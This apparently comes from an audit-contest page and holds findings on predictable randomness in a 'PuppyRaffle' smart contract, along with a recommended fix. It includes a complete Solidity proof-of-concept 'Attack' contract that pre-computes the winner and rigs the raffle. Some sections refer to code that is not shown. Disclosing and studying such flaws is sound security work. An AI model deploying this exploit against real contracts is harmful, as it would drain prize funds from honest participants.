The raffle is supposed to pick a winner and an NFT rarity that no participant can predict or control.
Both values are derived from msg.sender, block.timestamp, and block.difficulty (block.prevrandao post-Merge) — all of which are known to, or influenceable by, the caller at the moment of the transaction. A participant can compute the outcome off-chain and only call selectWinner() when it favors them, and validators can influence the inputs.
Likelihood:
Occurs every time selectWinner() is callable: any participant can pre-compute the result for the current block and choose to call only when they win, or vary msg.sender (by routing through different addresses/contracts) until an address that wins is found.
Occurs whenever a block proposer has a stake in the outcome, since they control block.timestamp within tolerance and influence prevrandao.
Impact:
A motivated participant wins the prize pool and obtains the rarest NFT tier at will, defeating the raffle's fairness guarantee.
Honest participants are systematically deprived of any real chance to win.
The result is a pure function of values known before the call, so it can be reproduced exactly:
Use a verifiable randomness source whose output is not known at call time, such as Chainlink VRF. Request randomness in one transaction and finalize the winner in the VRF callback:
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.